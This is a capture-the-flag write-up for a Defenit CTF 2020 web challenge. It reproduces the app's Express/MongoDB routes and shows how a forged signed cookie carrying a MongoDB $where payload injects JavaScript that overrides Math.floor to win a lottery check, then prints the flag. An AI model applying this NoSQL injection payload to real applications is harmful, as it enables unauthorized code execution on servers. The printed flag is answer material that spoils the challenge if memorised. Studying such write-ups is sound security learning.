Tags: web
Rating:
*Defenit CTF 2020 - Web 507<br> Writeup by Payload as ToEatSushi
Here's a test of luck! What's your fortune today?
app.get('/flag', (req, res) => {
let { favoriteNumber } = req.query;
favoriteNumber = ~~favoriteNumber;
if (!favoriteNumber) {
res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> ?삃');
} else {
const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
.then(result => {
if (favoriteNumber > 0x1337 && result) res.end(FLAG);
else res.end('Number not matches. Next chance, please!')
});
client.close();
});
}
})
To get flag, we have to pass lottery based on Math.floor. If I have a huge luck, I could pass at once, but I'm not.
Since we know the secret value for signing cookie, we can make every structure in req.signedCookies
.
app.get('/posts', (req, res) => {
let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
let author = req.signedCookies.user;
if (typeof author === 'string') {
author = { author };
}
client.connect(function (err) {
if (err) throw err;
const db = client.db('fortuneCookie');
const collection = db.collection('posts');
collection
.find(author)
.toArray()
.then((posts) => {
res.render('posts', { posts })
}
);
client.close();
});
});
One more intersting point is req.signedCookies.user
is given as object in collection.find()
. When we give $where
key for user
, then javascript code will be evaluated.
After /posts
has a vulnerability, further steps are easy. Build a javascript code that overrided Math.floor
, and make a race condition. It's all
Math.floor
in $where
To make cookie,
const express = require("express");
const cookieParser = require("cookie-parser");
const app = express();
app.use(cookieParser('?' + '?'));
app.use(express.urlencoded());
app.get('/test', (req, res) => {
res.cookie('user', {author: 'maratang', $where: 'Math.floor = function(x) { return 5000; }; return 1 == 2;'}, {signed: true});
res.send('');
});
Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}